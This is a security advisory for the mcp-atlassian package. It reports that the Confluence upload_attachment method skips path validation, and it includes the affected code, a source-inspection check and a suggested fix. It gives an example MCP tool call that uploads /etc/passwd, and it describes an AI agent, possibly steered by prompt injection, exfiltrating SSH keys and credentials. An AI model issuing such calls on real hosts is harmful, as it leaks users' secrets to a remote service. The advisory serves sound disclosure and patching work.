PYSEC-2026-4088

MCP Atlassian: Arbitrary file read/exfiltration via upload_attachment missing validate_safe_path()

## Summary The `upload_attachment` method in `confluence/attachments.py` reads and uploads arbitrary local files to Confluence without calling `validate_safe_path()`. Both download methods (`download_attachment` at line 223, `download_content_attachments` at line 272) correctly call `validate_safe_path()` before writing files, but the upload path at lines 35-79 skips this check entirely. An AI agent connected via MCP (or an attacker influencing that agent through prompt injection) can read any file on the host and exfiltrate it by uploading it as a Confluence page attachment. ## Vulnerable Code File: `src/mcp_atlassian/confluence/attachments.py`, lines 62-79 ```python # No validate_safe_path() call anywhere in this method if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) if not os.path.exists(file_path): return {"success": False, "error": f"File not found: {file_path}"} filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) ``` The `validate_safe_path` function is already imported at line 9 of the same file, and used in the download methods. It was just not added to the upload path. ## Proof of Concept Tested with mcp-atlassian 0.21.1 on Python 3.11 (EC2, Amazon Linux 2023). ```python import inspect from mcp_atlassian.confluence.attachments import AttachmentsMixin # Confirm: no validate_safe_path in upload source = inspect.getsource(AttachmentsMixin.upload_attachment) assert "validate_safe_path" not in source # passes # Confirm: validate_safe_path IS in downloads assert "validate_safe_path" in inspect.getsource(AttachmentsMixin.download_attachment) # passes assert "validate_safe_path" in inspect.getsource(AttachmentsMixin.download_content_attachments) # passes ``` An MCP tool call like this reads /etc/passwd and uploads it to Confluence: ```json {"tool": "confluence_upload_attachment", "arguments": {"content_id": "123456", "file_path": "/etc/passwd"}} ``` ## Impact Exfiltration of any file readable by the MCP server process: SSH keys, AWS credentials, .env files, /etc/passwd, application secrets. Data leaves the local machine and lands on a remote Confluence instance accessible to other users. ## Suggested Fix Add `validate_safe_path(file_path)` before the `os.path.exists()` check in `upload_attachment`, matching the existing pattern in the download methods. The function is already imported.